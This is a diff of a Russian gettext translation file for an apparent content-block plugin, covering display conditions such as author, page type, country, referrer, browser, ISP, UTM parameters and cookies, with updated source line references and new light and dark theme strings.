543 #: path/blocks/add/content.php:1 84 path/blocks/edit/content.php:313544 #: path/folders/edit/content.php:3 19550 #: path/blocks/add/content.php:193 path/blocks/edit/content.php:330 551 #: path/folders/edit/content.php:336 545 552 #: path/folders/folder/bulk-edit/content.php:301 546 553 msgid "Show if author:" 547 554 msgstr "Вывести если автор:" 548 555 549 #: path/blocks/add/content.php: 196 path/blocks/edit/content.php:331550 #: path/folders/edit/content.php:3 37556 #: path/blocks/add/content.php:205 path/blocks/edit/content.php:348 557 #: path/folders/edit/content.php:354 551 558 #: path/folders/folder/bulk-edit/content.php:330 552 559 msgid "Hide if author:" 553 560 msgstr "Скрыть если автор:" 554 561 555 #: path/blocks/add/content.php:2 04 path/blocks/edit/content.php:339556 #: path/folders/edit/content.php:3 45562 #: path/blocks/add/content.php:213 path/blocks/edit/content.php:356 563 #: path/folders/edit/content.php:362 557 564 #: path/folders/folder/bulk-edit/content.php:355 558 565 msgid "Template types:" 559 566 msgstr "Типы шаблонов:" 560 567 561 #: path/blocks/add/content.php:210 path/blocks/add/content.php:218 562 #: path/blocks/add/content.php:242 path/blocks/add/content.php:250 563 #: path/blocks/add/content.php:258 path/blocks/edit/content.php:347 564 #: path/blocks/edit/content.php:357 path/blocks/edit/content.php:387 565 #: path/blocks/edit/content.php:397 path/blocks/edit/content.php:407 566 #: path/folders/edit/content.php:353 path/folders/edit/content.php:363 567 #: path/folders/edit/content.php:393 path/folders/edit/content.php:403 568 #: path/folders/edit/content.php:413 568 #: path/blocks/add/content.php:219 path/blocks/edit/content.php:364 569 #: path/folders/edit/content.php:370 570 msgid "All templates" 571 msgstr "Все шаблоны" 572 573 #: path/blocks/add/content.php:227 path/blocks/add/content.php:235 574 #: path/blocks/add/content.php:259 path/blocks/add/content.php:267 575 #: path/blocks/add/content.php:275 path/blocks/edit/content.php:374 576 #: path/blocks/edit/content.php:384 path/blocks/edit/content.php:414 577 #: path/blocks/edit/content.php:424 path/blocks/edit/content.php:434 578 #: path/folders/edit/content.php:380 path/folders/edit/content.php:390 579 #: path/folders/edit/content.php:420 path/folders/edit/content.php:430 580 #: path/folders/edit/content.php:440 569 581 #: path/folders/folder/bulk-edit/content.php:365 570 582 #: path/folders/folder/bulk-edit/content.php:373 … … 575 587 msgstr "Выводить на" 576 588 577 #: path/blocks/add/content.php:2 10 path/blocks/edit/content.php:347578 #: path/folders/edit/content.php:3 53589 #: path/blocks/add/content.php:227 path/blocks/edit/content.php:374 590 #: path/folders/edit/content.php:380 579 591 #: path/folders/folder/bulk-edit/content.php:365 580 592 msgid "homepage" 581 593 msgstr "главной" 582 594 583 #: path/blocks/add/content.php:2 18 path/blocks/edit/content.php:357584 #: path/folders/edit/content.php:3 63595 #: path/blocks/add/content.php:235 path/blocks/edit/content.php:384 596 #: path/folders/edit/content.php:390 585 597 #: path/folders/folder/bulk-edit/content.php:373 586 598 msgid "singular" 587 599 msgstr "записях, постах, страницах" 588 600 589 #: path/blocks/add/content.php:2 26 path/blocks/add/content.php:234590 #: path/blocks/edit/content.php:3 67 path/blocks/edit/content.php:377591 #: path/folders/edit/content.php: 373 path/folders/edit/content.php:383601 #: path/blocks/add/content.php:243 path/blocks/add/content.php:251 602 #: path/blocks/edit/content.php:394 path/blocks/edit/content.php:404 603 #: path/folders/edit/content.php:400 path/folders/edit/content.php:410 592 604 #: path/folders/folder/bulk-edit/content.php:381 593 605 #: path/folders/folder/bulk-edit/content.php:389 … … 595 607 msgstr "Выводить в" 596 608 597 #: path/blocks/add/content.php:2 26 path/blocks/edit/content.php:367598 #: path/folders/edit/content.php: 373609 #: path/blocks/add/content.php:243 path/blocks/edit/content.php:394 610 #: path/folders/edit/content.php:400 599 611 #: path/folders/folder/bulk-edit/content.php:381 600 612 msgid "archives" 601 613 msgstr "архивах" 602 614 603 #: path/blocks/add/content.php:2 34 path/blocks/edit/content.php:377604 #: path/folders/edit/content.php: 383615 #: path/blocks/add/content.php:251 path/blocks/edit/content.php:404 616 #: path/folders/edit/content.php:410 605 617 #: path/folders/folder/bulk-edit/content.php:389 606 618 msgid "categories" 607 619 msgstr "рубриках" 608 620 609 #: path/blocks/add/content.php:2 42 path/blocks/edit/content.php:387610 #: path/folders/edit/content.php: 393621 #: path/blocks/add/content.php:259 path/blocks/edit/content.php:414 622 #: path/folders/edit/content.php:420 611 623 #: path/folders/folder/bulk-edit/content.php:397 612 624 msgid "search page" 613 625 msgstr "странице поиска" 614 626 615 #: path/blocks/add/content.php:2 50 path/blocks/edit/content.php:397616 #: path/folders/edit/content.php:4 03627 #: path/blocks/add/content.php:267 path/blocks/edit/content.php:424 628 #: path/folders/edit/content.php:430 617 629 #: path/folders/folder/bulk-edit/content.php:405 618 630 msgid "page 404 errors" 619 631 msgstr "странице 404 ошибки" 620 632 621 #: path/blocks/add/content.php:2 58 path/blocks/edit/content.php:407622 #: path/folders/edit/content.php:4 13633 #: path/blocks/add/content.php:275 path/blocks/edit/content.php:434 634 #: path/folders/edit/content.php:440 623 635 #: path/folders/folder/bulk-edit/content.php:413 624 636 msgid "pagination page" … … 789 801 msgstr "Android / Linux" 790 802 791 #: path/blocks/add/user.php:31 path/blocks/edit/user.php:34 792 #: path/folders/edit/user.php:40 path/folders/folder/bulk-edit/user.php:10 803 #: path/blocks/add/user.php:26 path/blocks/edit/user.php:29 804 #: path/folders/edit/user.php:35 805 msgid "Light theme" 806 msgstr "Светлая тема" 807 808 #: path/blocks/add/user.php:27 path/blocks/edit/user.php:30 809 #: path/folders/edit/user.php:36 810 msgid "Dark theme" 811 msgstr "Тёмная тема" 812 813 #: path/blocks/add/user.php:36 path/blocks/edit/user.php:39 814 #: path/folders/edit/user.php:45 path/folders/folder/bulk-edit/user.php:10 793 815 msgid "GEO of the country / city:" 794 816 msgstr "ГЕО страны / города:" 795 817 796 #: path/blocks/add/user.php:5 0 path/blocks/edit/user.php:53797 #: path/folders/edit/user.php: 59818 #: path/blocks/add/user.php:55 path/blocks/edit/user.php:58 819 #: path/folders/edit/user.php:64 798 820 msgid "Countries:" 799 821 msgstr "Страны:" 800 822 801 #: path/blocks/add/user.php:5 3 path/blocks/add/user.php:75802 #: path/blocks/edit/user.php: 56 path/blocks/edit/user.php:78803 #: path/folders/edit/user.php:6 2 path/folders/edit/user.php:84823 #: path/blocks/add/user.php:58 path/blocks/add/user.php:80 824 #: path/blocks/edit/user.php:61 path/blocks/edit/user.php:83 825 #: path/folders/edit/user.php:67 path/folders/edit/user.php:89 804 826 msgid "Enter each country or city on a new line." 805 827 msgstr "Каждую страну или город вводить с новой строки." 806 828 807 #: path/blocks/add/user.php:58 path/blocks/add/user.php:80 808 #: path/blocks/add/user.php:146 path/blocks/add/user.php:240 809 #: path/blocks/add/user.php:285 path/blocks/add/user.php:337 810 #: path/blocks/add/user.php:402 path/blocks/add/user.php:459 811 #: path/blocks/add/user.php:596 path/blocks/add/user.php:648 812 #: path/blocks/add/user.php:695 path/blocks/edit/user.php:61 813 #: path/blocks/edit/user.php:83 path/blocks/edit/user.php:149 814 #: path/blocks/edit/user.php:251 path/blocks/edit/user.php:312 815 #: path/blocks/edit/user.php:372 path/blocks/edit/user.php:437 816 #: path/blocks/edit/user.php:494 path/blocks/edit/user.php:639 817 #: path/blocks/edit/user.php:699 path/blocks/edit/user.php:746 818 #: path/folders/edit/user.php:67 path/folders/edit/user.php:89 819 #: path/folders/edit/user.php:155 path/folders/edit/user.php:257 820 #: path/folders/edit/user.php:318 path/folders/edit/user.php:378 821 #: path/folders/edit/user.php:440 path/folders/edit/user.php:494 822 #: path/folders/edit/user.php:639 path/folders/edit/user.php:699 823 #: path/folders/edit/user.php:746 829 #: path/blocks/add/user.php:63 path/blocks/add/user.php:85 830 #: path/blocks/add/user.php:151 path/blocks/add/user.php:245 831 #: path/blocks/add/user.php:290 path/blocks/add/user.php:342 832 #: path/blocks/add/user.php:407 path/blocks/add/user.php:464 833 #: path/blocks/add/user.php:601 path/blocks/add/user.php:653 834 #: path/blocks/add/user.php:700 path/blocks/add/user.php:746 835 #: path/blocks/edit/user.php:66 path/blocks/edit/user.php:88 836 #: path/blocks/edit/user.php:154 path/blocks/edit/user.php:256 837 #: path/blocks/edit/user.php:317 path/blocks/edit/user.php:377 838 #: path/blocks/edit/user.php:442 path/blocks/edit/user.php:499 839 #: path/blocks/edit/user.php:644 path/blocks/edit/user.php:704 840 #: path/blocks/edit/user.php:751 path/blocks/edit/user.php:805 841 #: path/folders/edit/user.php:72 path/folders/edit/user.php:94 842 #: path/folders/edit/user.php:160 path/folders/edit/user.php:262 843 #: path/folders/edit/user.php:323 path/folders/edit/user.php:383 844 #: path/folders/edit/user.php:445 path/folders/edit/user.php:499 845 #: path/folders/edit/user.php:644 path/folders/edit/user.php:704 846 #: path/folders/edit/user.php:751 path/folders/edit/user.php:805 824 847 msgid "Show from:" 825 848 msgstr "Вывести для:" 826 849 827 #: path/blocks/add/user.php:6 0 path/blocks/add/user.php:65828 #: path/blocks/edit/user.php:6 3 path/blocks/edit/user.php:68829 #: path/folders/edit/user.php: 69 path/folders/edit/user.php:74850 #: path/blocks/add/user.php:65 path/blocks/add/user.php:70 851 #: path/blocks/edit/user.php:68 path/blocks/edit/user.php:73 852 #: path/folders/edit/user.php:74 path/folders/edit/user.php:79 830 853 msgid "For example: United Kingdom or GB" 831 854 msgstr "Например: Россия или RU" 832 855 833 #: path/blocks/add/user.php:63 path/blocks/add/user.php:85 834 #: path/blocks/add/user.php:178 path/blocks/add/user.php:252 835 #: path/blocks/add/user.php:297 path/blocks/add/user.php:342 836 #: path/blocks/add/user.php:407 path/blocks/add/user.php:464 837 #: path/blocks/add/user.php:608 path/blocks/add/user.php:653 838 #: path/blocks/add/user.php:700 path/blocks/edit/user.php:66 839 #: path/blocks/edit/user.php:88 path/blocks/edit/user.php:181 840 #: path/blocks/edit/user.php:271 path/blocks/edit/user.php:332 841 #: path/blocks/edit/user.php:377 path/blocks/edit/user.php:442 842 #: path/blocks/edit/user.php:499 path/blocks/edit/user.php:659 843 #: path/blocks/edit/user.php:704 path/blocks/edit/user.php:751 844 #: path/folders/edit/user.php:72 path/folders/edit/user.php:94 845 #: path/folders/edit/user.php:187 path/folders/edit/user.php:277 846 #: path/folders/edit/user.php:338 path/folders/edit/user.php:383 847 #: path/folders/edit/user.php:445 path/folders/edit/user.php:499 848 #: path/folders/edit/user.php:659 path/folders/edit/user.php:704 849 #: path/folders/edit/user.php:751 856 #: path/blocks/add/user.php:68 path/blocks/add/user.php:90 857 #: path/blocks/add/user.php:183 path/blocks/add/user.php:257 858 #: path/blocks/add/user.php:302 path/blocks/add/user.php:347 859 #: path/blocks/add/user.php:412 path/blocks/add/user.php:469 860 #: path/blocks/add/user.php:613 path/blocks/add/user.php:658 861 #: path/blocks/add/user.php:705 path/blocks/add/user.php:758 862 #: path/blocks/edit/user.php:71 path/blocks/edit/user.php:93 863 #: path/blocks/edit/user.php:186 path/blocks/edit/user.php:276 864 #: path/blocks/edit/user.php:337 path/blocks/edit/user.php:382 865 #: path/blocks/edit/user.php:447 path/blocks/edit/user.php:504 866 #: path/blocks/edit/user.php:664 path/blocks/edit/user.php:709 867 #: path/blocks/edit/user.php:756 path/blocks/edit/user.php:825 868 #: path/folders/edit/user.php:77 path/folders/edit/user.php:99 869 #: path/folders/edit/user.php:192 path/folders/edit/user.php:282 870 #: path/folders/edit/user.php:343 path/folders/edit/user.php:388 871 #: path/folders/edit/user.php:450 path/folders/edit/user.php:504 872 #: path/folders/edit/user.php:664 path/folders/edit/user.php:709 873 #: path/folders/edit/user.php:756 path/folders/edit/user.php:825 850 874 msgid "Hide from:" 851 875 msgstr "Скрыть для:" 852 876 853 #: path/blocks/add/user.php:7 2 path/blocks/edit/user.php:75854 #: path/folders/edit/user.php:8 1877 #: path/blocks/add/user.php:77 path/blocks/edit/user.php:80 878 #: path/folders/edit/user.php:86 855 879 msgid "Cities:" 856 880 msgstr "Города:" 857 881 858 #: path/blocks/add/user.php:8 2 path/blocks/add/user.php:87859 #: path/blocks/edit/user.php: 85 path/blocks/edit/user.php:90860 #: path/folders/edit/user.php:9 1 path/folders/edit/user.php:96882 #: path/blocks/add/user.php:87 path/blocks/add/user.php:92 883 #: path/blocks/edit/user.php:90 path/blocks/edit/user.php:95 884 #: path/folders/edit/user.php:96 path/folders/edit/user.php:101 861 885 msgid "For example: London" 862 886 msgstr "Например: Москва" 863 887 864 #: path/blocks/add/user.php:9 3 path/blocks/edit/user.php:96865 #: path/folders/edit/user.php:10 2888 #: path/blocks/add/user.php:98 path/blocks/edit/user.php:101 889 #: path/folders/edit/user.php:107 866 890 msgid "Your country:" 867 891 msgstr "Ваша страна:" 868 892 869 #: path/blocks/add/user.php: 95 path/blocks/edit/user.php:98870 #: path/folders/edit/user.php:10 4893 #: path/blocks/add/user.php:100 path/blocks/edit/user.php:103 894 #: path/folders/edit/user.php:109 871 895 msgid "Your city:" 872 896 msgstr "Ваш город:" 873 897 874 #: path/blocks/add/user.php: 97 path/blocks/edit/user.php:100875 #: path/folders/edit/user.php:1 06898 #: path/blocks/add/user.php:102 path/blocks/edit/user.php:105 899 #: path/folders/edit/user.php:111 876 900 msgid "Check geolocation by ip: http://ip-api.com/json/" 877 901 msgstr "Узнать геолокацию по ip: http://ip-api.com/json/?lang=ru" 878 902 879 #: path/blocks/add/user.php:1 05 path/blocks/edit/user.php:108880 #: path/folders/edit/user.php:11 4path/folders/folder/bulk-edit/user.php:21903 #: path/blocks/add/user.php:110 path/blocks/edit/user.php:113 904 #: path/folders/edit/user.php:119 path/folders/folder/bulk-edit/user.php:21 881 905 msgid "REFERER referral source:" 882 906 msgstr "REFERER источник перехода:" 883 907 884 #: path/blocks/add/user.php:12 3 path/blocks/edit/user.php:126885 #: path/folders/edit/user.php:13 2path/folders/folder.php:44908 #: path/blocks/add/user.php:128 path/blocks/edit/user.php:131 909 #: path/folders/edit/user.php:137 path/folders/folder.php:44 886 910 msgid "REFERER" 887 911 msgstr "REFERER" 888 912 889 #: path/blocks/add/user.php:1 28 path/blocks/edit/user.php:131890 #: path/folders/edit/user.php:1 37913 #: path/blocks/add/user.php:133 path/blocks/edit/user.php:136 914 #: path/folders/edit/user.php:142 891 915 msgid "Enter each REFERER on a new line." 892 916 msgstr "Каждый REFERER вводить с новой строки." 893 917 894 #: path/blocks/add/user.php:13 1 path/blocks/edit/user.php:134895 #: path/folders/edit/user.php:14 0918 #: path/blocks/add/user.php:136 path/blocks/edit/user.php:139 919 #: path/folders/edit/user.php:145 896 920 msgid "" 897 921 "The definition occurs in part of the string, i.e. you can enter only part of " … … 903 927 "все: <code>google.com, google.fr, google.de</code>" 904 928 905 #: path/blocks/add/user.php:13 4 path/blocks/edit/user.php:137906 #: path/folders/edit/user.php:14 3929 #: path/blocks/add/user.php:139 path/blocks/edit/user.php:142 930 #: path/folders/edit/user.php:148 907 931 msgid "for users without a referrer (direct referrals)." 908 932 msgstr "для пользователей без рефёрера (прямые переходы)." 909 933 910 #: path/blocks/add/user.php:1 36 path/blocks/edit/user.php:139911 #: path/folders/edit/user.php:1 45934 #: path/blocks/add/user.php:141 path/blocks/edit/user.php:144 935 #: path/folders/edit/user.php:150 912 936 msgid "for iframes (when the site is viewed through iframes)." 913 937 msgstr "для iframe'ов (когда сайт просматривается через iframe)." 914 938 915 #: path/blocks/add/user.php:1 38 path/blocks/edit/user.php:141916 #: path/folders/edit/user.php:1 47939 #: path/blocks/add/user.php:143 path/blocks/edit/user.php:146 940 #: path/folders/edit/user.php:152 917 941 msgid "for transitions from Yandex.Zen" 918 942 msgstr "для переходов из Яндекс.Дзена" 919 943 920 #: path/blocks/add/user.php:14 0 path/blocks/edit/user.php:143921 #: path/folders/edit/user.php:1 49944 #: path/blocks/add/user.php:145 path/blocks/edit/user.php:148 945 #: path/folders/edit/user.php:154 922 946 msgid "for tolokers" 923 947 msgstr "для толокеров" 924 948 925 #: path/blocks/add/user.php:15 0 path/blocks/add/user.php:182926 #: path/blocks/edit/user.php:15 3 path/blocks/edit/user.php:185927 #: path/folders/edit/user.php:1 59 path/folders/edit/user.php:191949 #: path/blocks/add/user.php:155 path/blocks/add/user.php:187 950 #: path/blocks/edit/user.php:158 path/blocks/edit/user.php:190 951 #: path/folders/edit/user.php:164 path/folders/edit/user.php:196 928 952 msgid "Direct" 929 953 msgstr "Прямые" 930 954 931 #: path/blocks/add/user.php:15 3 path/blocks/add/user.php:185932 #: path/blocks/edit/user.php:1 56 path/blocks/edit/user.php:188933 #: path/folders/edit/user.php:16 2 path/folders/edit/user.php:194955 #: path/blocks/add/user.php:158 path/blocks/add/user.php:190 956 #: path/blocks/edit/user.php:161 path/blocks/edit/user.php:193 957 #: path/folders/edit/user.php:167 path/folders/edit/user.php:199 934 958 msgid "Google" 935 959 msgstr "Google" 936 960 937 #: path/blocks/add/user.php:1 56 path/blocks/add/user.php:188938 #: path/blocks/edit/user.php:1 59 path/blocks/edit/user.php:191939 #: path/folders/edit/user.php:1 65 path/folders/edit/user.php:197961 #: path/blocks/add/user.php:161 path/blocks/add/user.php:193 962 #: path/blocks/edit/user.php:164 path/blocks/edit/user.php:196 963 #: path/folders/edit/user.php:170 path/folders/edit/user.php:202 940 964 msgid "Yandex" 941 965 msgstr "Яндекс" 942 966 943 #: path/blocks/add/user.php:1 59 path/blocks/add/user.php:191944 #: path/blocks/edit/user.php:16 2 path/blocks/edit/user.php:194945 #: path/folders/edit/user.php:1 68 path/folders/edit/user.php:200967 #: path/blocks/add/user.php:164 path/blocks/add/user.php:196 968 #: path/blocks/edit/user.php:167 path/blocks/edit/user.php:199 969 #: path/folders/edit/user.php:173 path/folders/edit/user.php:205 946 970 msgid "Bing" 947 971 msgstr "Bing" 948 972 949 #: path/blocks/add/user.php:16 2 path/blocks/add/user.php:194950 #: path/blocks/edit/user.php:1 65 path/blocks/edit/user.php:197951 #: path/folders/edit/user.php:17 1 path/folders/edit/user.php:203973 #: path/blocks/add/user.php:167 path/blocks/add/user.php:199 974 #: path/blocks/edit/user.php:170 path/blocks/edit/user.php:202 975 #: path/folders/edit/user.php:176 path/folders/edit/user.php:208 952 976 msgid "Yahoo!" 953 977 msgstr "Yahoo!" 954 978 955 #: path/blocks/add/user.php:1 65 path/blocks/add/user.php:197956 #: path/blocks/edit/user.php:1 68 path/blocks/edit/user.php:200957 #: path/folders/edit/user.php:17 4 path/folders/edit/user.php:206979 #: path/blocks/add/user.php:170 path/blocks/add/user.php:202 980 #: path/blocks/edit/user.php:173 path/blocks/edit/user.php:205 981 #: path/folders/edit/user.php:179 path/folders/edit/user.php:211 958 982 msgid "iFrame" 959 983 msgstr "iFrame" 960 984 961 #: path/blocks/add/user.php:1 68 path/blocks/add/user.php:200962 #: path/blocks/edit/user.php:17 1 path/blocks/edit/user.php:203963 #: path/folders/edit/user.php:1 77 path/folders/edit/user.php:209985 #: path/blocks/add/user.php:173 path/blocks/add/user.php:205 986 #: path/blocks/edit/user.php:176 path/blocks/edit/user.php:208 987 #: path/folders/edit/user.php:182 path/folders/edit/user.php:214 964 988 msgid "Yandex.Zen" 965 989 msgstr "Яндекс Дзен" 966 990 967 #: path/blocks/add/user.php:17 1 path/blocks/add/user.php:203968 #: path/blocks/edit/user.php:17 4 path/blocks/edit/user.php:206969 #: path/folders/edit/user.php:18 0 path/folders/edit/user.php:212991 #: path/blocks/add/user.php:176 path/blocks/add/user.php:208 992 #: path/blocks/edit/user.php:179 path/blocks/edit/user.php:211 993 #: path/folders/edit/user.php:185 path/folders/edit/user.php:217 970 994 msgid "Tolokers" 971 995 msgstr "Толокеры" 972 996 973 #: path/blocks/add/user.php:1 75 path/blocks/add/user.php:207974 #: path/blocks/edit/user.php:1 78 path/blocks/edit/user.php:210975 #: path/folders/edit/user.php:18 4 path/folders/edit/user.php:216997 #: path/blocks/add/user.php:180 path/blocks/add/user.php:212 998 #: path/blocks/edit/user.php:183 path/blocks/edit/user.php:215 999 #: path/folders/edit/user.php:189 path/folders/edit/user.php:221 976 1000 msgid "For example: google.com" 977 1001 msgstr "Например: google.com" 978 1002 979 #: path/blocks/add/user.php:2 15 path/blocks/edit/user.php:218980 #: path/folders/edit/user.php:22 4path/folders/folder/bulk-edit/user.php:321003 #: path/blocks/add/user.php:220 path/blocks/edit/user.php:223 1004 #: path/folders/edit/user.php:229 path/folders/folder/bulk-edit/user.php:32 981 1005 msgid "User's browser:" 982 1006 msgstr "Браузер пользователя:" 983 1007 984 #: path/blocks/add/user.php:23 3 path/blocks/add/user.php:245985 #: path/blocks/edit/user.php:2 36 path/blocks/edit/user.php:256986 #: path/folders/edit/user.php:24 2 path/folders/edit/user.php:2621008 #: path/blocks/add/user.php:238 path/blocks/add/user.php:250 1009 #: path/blocks/edit/user.php:241 path/blocks/edit/user.php:261 1010 #: path/folders/edit/user.php:247 path/folders/edit/user.php:267 987 1011 msgid "Select browsers" 988 1012 msgstr "Выберите браузеры" 989 1013 990 #: path/blocks/add/user.php:26 0 path/blocks/edit/user.php:279991 #: path/folders/edit/user.php:2 85path/folders/folder/bulk-edit/user.php:431014 #: path/blocks/add/user.php:265 path/blocks/edit/user.php:284 1015 #: path/folders/edit/user.php:290 path/folders/folder/bulk-edit/user.php:43 992 1016 msgid "Operating system:" 993 1017 msgstr "Операционная система:" 994 1018 995 #: path/blocks/add/user.php:2 78 path/blocks/add/user.php:290996 #: path/blocks/edit/user.php: 297 path/blocks/edit/user.php:317997 #: path/folders/edit/user.php:30 3 path/folders/edit/user.php:3231019 #: path/blocks/add/user.php:283 path/blocks/add/user.php:295 1020 #: path/blocks/edit/user.php:302 path/blocks/edit/user.php:322 1021 #: path/folders/edit/user.php:308 path/folders/edit/user.php:328 998 1022 msgid "Select OS" 999 1023 msgstr "Выберите ОС" 1000 1024 1001 #: path/blocks/add/user.php:3 05 path/blocks/edit/user.php:3401002 #: path/folders/edit/user.php:3 46path/folders/folder/bulk-edit/user.php:541025 #: path/blocks/add/user.php:310 path/blocks/edit/user.php:345 1026 #: path/folders/edit/user.php:351 path/folders/folder/bulk-edit/user.php:54 1003 1027 msgid "ISP - Internet Service Provider:" 1004 1028 msgstr "ISP - поставщик интернет-услуг:" 1005 1029 1006 #: path/blocks/add/user.php:32 3 path/blocks/edit/user.php:3581007 #: path/folders/edit/user.php:36 4path/folders/folder.php:471030 #: path/blocks/add/user.php:328 path/blocks/edit/user.php:363 1031 #: path/folders/edit/user.php:369 path/folders/folder.php:47 1008 1032 msgid "ISP" 1009 1033 msgstr "ISP" 1010 1034 1011 #: path/blocks/add/user.php:3 28 path/blocks/edit/user.php:3631012 #: path/folders/edit/user.php:3 691035 #: path/blocks/add/user.php:333 path/blocks/edit/user.php:368 1036 #: path/folders/edit/user.php:374 1013 1037 msgid "Enter each ISP on a new line." 1014 1038 msgstr "Каждый ISP вводить с новой строки." 1015 1039 1016 #: path/blocks/add/user.php:33 1 path/blocks/edit/user.php:3661017 #: path/folders/edit/user.php:37 21040 #: path/blocks/add/user.php:336 path/blocks/edit/user.php:371 1041 #: path/folders/edit/user.php:377 1018 1042 msgid "" 1019 1043 "The definition occurs in part of the string, i.e. you can enter only a " … … 1023 1047 "<br>например: <code>SpaceX</code>" 1024 1048 1025 #: path/blocks/add/user.php:3 39 path/blocks/add/user.php:3441026 #: path/blocks/edit/user.php:37 4 path/blocks/edit/user.php:3791027 #: path/folders/edit/user.php:38 0 path/folders/edit/user.php:3851049 #: path/blocks/add/user.php:344 path/blocks/add/user.php:349 1050 #: path/blocks/edit/user.php:379 path/blocks/edit/user.php:384 1051 #: path/folders/edit/user.php:385 path/folders/edit/user.php:390 1028 1052 msgid "For example: SpaceX Starlink" 1029 1053 msgstr "Например: SpaceX Starlink" 1030 1054 1031 #: path/blocks/add/user.php:35 0 path/blocks/edit/user.php:3851032 #: path/folders/edit/user.php:39 11055 #: path/blocks/add/user.php:355 path/blocks/edit/user.php:390 1056 #: path/folders/edit/user.php:396 1033 1057 msgid "Your ISP:" 1034 1058 msgstr "Ваш ISP:" 1035 1059 1036 #: path/blocks/add/user.php:35 2 path/blocks/edit/user.php:3871037 #: path/folders/edit/user.php:39 31060 #: path/blocks/add/user.php:357 path/blocks/edit/user.php:392 1061 #: path/folders/edit/user.php:398 1038 1062 msgid "Check ISP by ip: http://ip-api.com/json/" 1039 1063 msgstr "Узнать ISP по ip: http://ip-api.com/json/?lang=ru" 1040 1064 1041 #: path/blocks/add/user.php:36 0 path/blocks/edit/user.php:3951042 #: path/folders/edit/user.php:40 1path/folders/folder/bulk-edit/user.php:651065 #: path/blocks/add/user.php:365 path/blocks/edit/user.php:400 1066 #: path/folders/edit/user.php:406 path/folders/folder/bulk-edit/user.php:65 1043 1067 msgid "UTM - get request in address bar:" 1044 1068 msgstr "UTM - get-запрос в адресной строке:" 1045 1069 1046 #: path/blocks/add/user.php:3 78 path/blocks/edit/user.php:4131047 #: path/folders/edit/user.php:4 191070 #: path/blocks/add/user.php:383 path/blocks/edit/user.php:418 1071 #: path/folders/edit/user.php:424 1048 1072 msgid "GET-request" 1049 1073 msgstr "GET-request" 1050 1074 1051 #: path/blocks/add/user.php:38 3 path/blocks/edit/user.php:4181052 #: path/folders/edit/user.php:42 41075 #: path/blocks/add/user.php:388 path/blocks/edit/user.php:423 1076 #: path/folders/edit/user.php:429 1053 1077 msgid "Enter each get-request on a new line." 1054 1078 msgstr "Каждый get-запрос вводить с новой строки." 1055 1079 1056 #: path/blocks/add/user.php:3 86 path/blocks/edit/user.php:4211057 #: path/folders/edit/user.php:4 271080 #: path/blocks/add/user.php:391 path/blocks/edit/user.php:426 1081 #: path/folders/edit/user.php:432 1058 1082 msgid "Separate the name of the get parameter and its value with a equal sign" 1059 1083 msgstr "Имя get-параметра и его значение разделяйте знаком равно" 1060 1084 1061 #: path/blocks/add/user.php:3 88 path/blocks/add/user.php:4451062 #: path/blocks/edit/user.php:42 3 path/blocks/edit/user.php:4801063 #: path/folders/edit/user.php:4 29 path/folders/edit/user.php:4831085 #: path/blocks/add/user.php:393 path/blocks/add/user.php:450 1086 #: path/blocks/edit/user.php:428 path/blocks/edit/user.php:485 1087 #: path/folders/edit/user.php:434 path/folders/edit/user.php:488 1064 1088 msgid "" 1065 1089 "The equal sign can be <code><</code> or <code>></code> for integer values. " … … 1069 1093 "целых значений. А также <code>*</code> для поиска подстроки." 1070 1094 1071 #: path/blocks/add/user.php:39 1 path/blocks/edit/user.php:4261095 #: path/blocks/add/user.php:396 path/blocks/edit/user.php:431 1072 1096 msgid "" 1073 1097 "If a parameter can take several values, then after the equal sign, indicate " … … 1079 1103 "campaign1 | campaign2 | campaign3</code>" 1080 1104 1081 #: path/blocks/add/user.php:39 4 path/blocks/edit/user.php:4291082 #: path/folders/edit/user.php:43 21105 #: path/blocks/add/user.php:399 path/blocks/edit/user.php:434 1106 #: path/folders/edit/user.php:437 1083 1107 msgid "" 1084 1108 "If the value of the get parameter must be empty, do not write anything after " … … 1088 1112 "не пишите, но сам знак нужен!" 1089 1113 1090 #: path/blocks/add/user.php: 396 path/blocks/edit/user.php:4311091 #: path/folders/edit/user.php:43 41114 #: path/blocks/add/user.php:401 path/blocks/edit/user.php:436 1115 #: path/folders/edit/user.php:439 1092 1116 msgid "" 1093 1117 "If it doesn't matter what value the get-parameter takes, then you don't need " … … 1097 1121 "ставить не нужно!" 1098 1122 1099 #: path/blocks/add/user.php:40 4 path/blocks/add/user.php:4091100 #: path/blocks/edit/user.php:4 39 path/blocks/edit/user.php:4441101 #: path/folders/edit/user.php:44 2 path/folders/edit/user.php:4471123 #: path/blocks/add/user.php:409 path/blocks/add/user.php:414 1124 #: path/blocks/edit/user.php:444 path/blocks/edit/user.php:449 1125 #: path/folders/edit/user.php:447 path/folders/edit/user.php:452 1102 1126 msgid "For example: utm_campaign = direct" 1103 1127 msgstr "Например: utm_campaign = direct" 1104 1128 1105 #: path/blocks/add/user.php:4 17 path/blocks/edit/user.php:4521106 #: path/folders/edit/user.php:4 55path/folders/folder/bulk-edit/user.php:761129 #: path/blocks/add/user.php:422 path/blocks/edit/user.php:457 1130 #: path/folders/edit/user.php:460 path/folders/folder/bulk-edit/user.php:76 1107 1131 msgid "Cookies:" 1108 1132 msgstr "Cookies:" 1109 1133 1110 #: path/blocks/add/user.php:4 35 path/blocks/edit/user.php:4701111 #: path/folders/edit/user.php:47 31134 #: path/blocks/add/user.php:440 path/blocks/edit/user.php:475 1135 #: path/folders/edit/user.php:478 1112 1136 msgid "Cookie" 1113 1137 msgstr "Cookie" 1114 1138 1115 #: path/blocks/add/user.php:44 0 path/blocks/edit/user.php:4751116 #: path/folders/edit/user.php:4 781139 #: path/blocks/add/user.php:445 path/blocks/edit/user.php:480 1140 #: path/folders/edit/user.php:483 1117 1141 msgid "Enter each cookie on a new line." 1118 1142 msgstr "Каждый cookies вводить с новой строки." 1119 1143 1120 #: path/blocks/add/user.php:44 3 path/blocks/edit/user.php:4781121 #: path/folders/edit/user.php:48 11144 #: path/blocks/add/user.php:448 path/blocks/edit/user.php:483 1145 #: path/folders/edit/user.php:486 1122 1146 msgid "Separate the cookie key and its value with a equal sign" 1123 1147 msgstr "Ключ cookies и его значение разделяйте знаком равенства" 1124 1148 1125 #: path/blocks/add/user.php:4 48 